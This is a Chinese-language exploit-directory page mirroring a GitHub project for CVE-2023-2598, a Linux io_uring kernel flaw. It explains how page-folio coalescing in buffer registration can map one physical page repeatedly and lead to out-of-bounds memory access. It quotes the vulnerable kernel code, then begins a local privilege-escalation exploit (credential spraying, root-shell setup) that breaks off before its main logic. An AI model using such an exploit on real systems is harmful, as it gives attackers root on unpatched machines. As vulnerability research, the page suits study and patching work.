Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-2598 — 关于 io_uring 的 CVE-2023-2598 漏洞利用 | Kitploit
工具/GitHubGitHub/spongebob-369/cve-2023-2598
权限提升漏洞分析漏洞利用学习与教育二进制利用
GitHubspongebob-369/cve-2023-2598

CVE-2023-2598

关于 io_uring 的 CVE-2023-2598 漏洞利用

查看仓库
391年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-2598

什么是 io_uring?

io_uring 是 Linux 的系统调用接口。到目前为止,它几乎支持所有系统调用,而不仅仅是最初的 read() 和 write()。它使应用程序能够发起可异步执行的系统调用。

提交队列与完成队列

在每个 io_uring 实现的核心都有两个环形缓冲区 —— 提交队列(SQ)和完成队列(CQ)。这些环形缓冲区在应用程序和内核之间共享。

我们可以通过 io_uring_get_sqe 获取一个描述你想要由内核执行的 syscall 的提交队列项(SQE)。应用程序随后执行 io_uring_enter 系统调用,以有效地告诉内核提交队列中有待处理的工作。

在内核执行完操作后,它会将一个 完成队列项(CQE) 放入完成队列环形缓冲区,应用程序随后可以消费该条目。

漏洞

函数 io_sqe_buffer_register 实现了虚拟页与物理地址之间的映射。

首先,我们应厘清一些概念。

应用程序通过 io_uring_register 发起缓冲区注册请求。调用链如下:

io_uring_register_buffers->io_uring_register->io_sqe_buffers_register

函数 io_sqe_buffers_register 的源码如下:

int io_sqe_buffers_register(struct io_ring_ctx *ctx, void __user *arg,
			    unsigned int nr_args, u64 __user *tags)
{
	struct page *last_hpage = NULL;
	struct io_rsrc_data *data;
	int i, ret;
	struct iovec iov;

	BUILD_BUG_ON(IORING_MAX_REG_BUFFERS >= (1u << 16));

	if (ctx->user_bufs)
		return -EBUSY;
	if (!nr_args || nr_args > IORING_MAX_REG_BUFFERS)
		return -EINVAL;
	ret = io_rsrc_node_switch_start(ctx);
	if (ret)
		return ret;
	ret = io_rsrc_data_alloc(ctx, io_rsrc_buf_put, tags, nr_args, &data);
	if (ret)
		return ret;
	ret = io_buffers_map_alloc(ctx, nr_args);
	if (ret) {
		io_rsrc_data_free(data);
		return ret;
	}

	for (i = 0; i < nr_args; i++, ctx->nr_user_bufs++) {
		if (arg) {
			ret = io_copy_iov(ctx, &iov, arg, i);
			if (ret)
				break;
			ret = io_buffer_validate(&iov);
			if (ret)
				break;
		} else {
			memset(&iov, 0, sizeof(iov));
		}

		if (!iov.iov_base && *io_get_tag_slot(data, i)) {
			ret = -EINVAL;
			break;
		}

		ret = io_sqe_buffer_register(ctx, &iov, &ctx->user_bufs[i],
					     &last_hpage);
		if (ret)
			break;
	}

	WARN_ON_ONCE(ctx->buf_data);

	ctx->buf_data = data;
	if (ret)
		__io_sqe_buffers_unregister(ctx);
	else
		io_rsrc_node_switch(ctx, NULL);
	return ret;
}

在这个函数中,我们会进入 io_sqe_buffer_register,并会发现一个逻辑缺陷。函数 io_sqe_buffer_register 的源码如下:

static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
				  struct io_mapped_ubuf **pimu,
				  struct page **last_hpage)
{
	struct io_mapped_ubuf *imu = NULL;
	struct page **pages = NULL;
	unsigned long off;
	size_t size;
	int ret, nr_pages, i;
	struct folio *folio = NULL;

	*pimu = ctx->dummy_ubuf;
	if (!iov->iov_base)
		return 0;

	ret = -ENOMEM;
	pages = io_pin_pages((unsigned long) iov->iov_base, iov->iov_len,
				&nr_pages);
	if (IS_ERR(pages)) {
		ret = PTR_ERR(pages);
		pages = NULL;
		goto done;
	}

	/* If it's a huge page, try to coalesce them into a single bvec entry */
	if (nr_pages > 1) {
		folio = page_folio(pages[0]);
		for (i = 1; i < nr_pages; i++) {
			if (page_folio(pages[i]) != folio) {
				folio = NULL;
				break;
			}
		}
		if (folio) {
			folio_put_refs(folio, nr_pages - 1);
			nr_pages = 1;
		}
	}

	imu = kvmalloc(struct_size(imu, bvec, nr_pages), GFP_KERNEL);
	if (!imu)
		goto done;

	ret = io_buffer_account_pin(ctx, pages, nr_pages, imu, last_hpage);
	if (ret) {
		unpin_user_pages(pages, nr_pages);
		goto done;
	}

	off = (unsigned long) iov->iov_base & ~PAGE_MASK;
	size = iov->iov_len;
	/* store original address for later verification */
	imu->ubuf = (unsigned long) iov->iov_base;
	imu->ubuf_end = imu->ubuf + iov->iov_len;
	imu->nr_bvecs = nr_pages;
	*pimu = imu;
	ret = 0;

	if (folio) {
		bvec_set_page(&imu->bvec[0], pages[0], size, off);
		goto done;
	}
	for (i = 0; i < nr_pages; i++) {
		size_t vec_len;

		vec_len = min_t(size_t, size, PAGE_SIZE - off);
		bvec_set_page(&imu->bvec[i], pages[i], vec_len, off);
		off = 0;
		size -= vec_len;
	}
done:
	if (ret)
		kvfree(imu);
	kvfree(pages);
	return ret;
}

这里我仅提及几个要点。

  1. imu 表示虚拟地址/页。
  2. page 表示物理地址/页。
  3. folio 表示物理上连续的许多页面,用于解决这样一种情况:当某个函数被调用且其参数包含一个页时,该页属于一段连续的页范围,但我们不确定应该使用整个页还是仅使用其中一页。
  4. struct iovec 只是一个描述缓冲区的结构体,包含缓冲区的起始地址及其长度。仅此而已。
  5. io_mapped_ubuf 是保存已注册到某个 io_uring 实例的缓冲区信息的一个结构体。
struct io_mapped_ubuf {
	u64		ubuf; // the address at which the buffer starts
	u64		ubuf_end; // the address at which it ends
	unsigned int	nr_bvecs; // how many bio_vec(s) are needed to address the buffer 
	unsigned long	acct_pages;
	struct bio_vec	bvec[]; // array of bio_vec(s)
};

成员 bio_ver 是一个类似于 iovec 的结构体,但用于物理内存。

...
/* If it's a huge page, try to coalesce them into a single bvec entry */
	if (nr_pages > 1) { // if more than one page
		folio = page_folio(pages[0]); // converts from page to folio
		// returns the folio that contains this page
		for (i = 1; i < nr_pages; i++) {
			if (page_folio(pages[i]) != folio) { // different folios -> not physically contiguous 
				folio = NULL; // set folio to NULL as we cannot coalesce into a single entry
				break;
			}
		}
		if (folio) { // if all the pages are in the same folio
			folio_put_refs(folio, nr_pages - 1); 
			nr_pages = 1; // sets nr_pages to 1 as it can be represented as a single folio page
		}
	}
...

检查页面是否来自同一 folio 的这段代码实际上并未检查它们是否连续。同一个页可以被映射多次。在迭代过程中,page_folio(page) 会一次又一次地返回同一个 folio,从而通过检查。这显然是一个逻辑缺陷。让我们继续看 io_sqe_buffer_register,看看会有什么后果。

...
	imu = kvmalloc(struct_size(imu, bvec, nr_pages), GFP_KERNEL); 
	// allocates imu with an array for nr_pages bio_vec(s)
	// bio_vec - a contiguous range of physical memory addresses
	// we need a bio_vec for each (physical) page
    // in the case of a folio - the array of bio_vec(s) will be of size 1
	if (!imu)
		goto done;

	ret = io_buffer_account_pin(ctx, pages, nr_pages, imu, last_hpage);
	if (ret) {
		unpin_user_pages(pages, nr_pages);
		goto done;
	}

	off = (unsigned long) iov->iov_base & ~PAGE_MASK;
	size = iov->iov_len; // sets the size to that passed by the user!
	/* store original address for later verification */
	imu->ubuf = (unsigned long) iov->iov_base; // user-controlled
	imu->ubuf_end = imu->ubuf + iov->iov_len; // calculates the end based on the length
	imu->nr_bvecs = nr_pages; // this would be 1 in the case of folio
	*pimu = imu;
	ret = 0;

	if (folio) { // in case of folio - we need just a single bio_vec (efficiant!)
		bvec_set_page(&imu->bvec[0], pages[0], size, off);
		goto done;
	}
	for (i = 0; i < nr_pages; i++) { 
		size_t vec_len;

		vec_len = min_t(size_t, size, PAGE_SIZE - off);
		bvec_set_page(&imu->bvec[i], pages[i], vec_len, off);
		off = 0;
		size -= vec_len;
	}
done:
	if (ret)
		kvfree(imu);
	kvfree(pages);
	return ret;
}

当 nr_pages = 1 时,会分配单个 bio_vec。写入 pimu->iov_len 和 pimu->bvec[0].bv_len 的缓冲区大小,是用户在 iov->iov_len 中传入的大小。

漏洞利用

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <liburing.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sched.h>
#include <string.h>

#define CRED_DRAIN 100 // Wait for modifying the cred cache
#define CRED_SPRAY 2000 // Number of clones to spray
#define PAGE_SIZE 0x1000 // Size of a memory page
#define MAX_PAGES 100 // Maximum number of pages to allocate

struct timespec timer = {
    .tv_sec = 1145141919,
    .tv_nsec = 0,
};

#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char child_pipe_buf[1];
// char root_str[] = "Finally get root privilege!\n";
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
                  "\033[34m[*] Execve root shell now...\033[0m\n";

char *shell_args[] = { bin_sh_str, NULL };

void err_exit(char *buf){
    fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
    exit(-1);
}

void check_ret(int ret,char* buf){
    if(ret < 0){
        err_exit(buf);
    }
}
下载工具